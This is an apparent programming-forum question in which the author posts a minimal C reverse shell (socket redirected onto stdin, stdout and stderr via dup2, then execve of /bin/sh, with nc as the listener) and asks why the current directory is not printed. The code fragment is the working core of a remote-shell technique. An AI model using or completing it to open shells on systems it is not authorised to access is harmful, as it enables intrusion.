I tried to build a very little reversed shell in C.
The connection works, the commands are also executed, but I wonder how it's possible to print the current directory. My code so far:
Client:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
On the server side, I simply use nc which works fine. But the current directory is not printed out as usual. F.ex. if I send a "cd [...]", there is no output at all.
How can I send the current directory to the server?
Thanks for any help.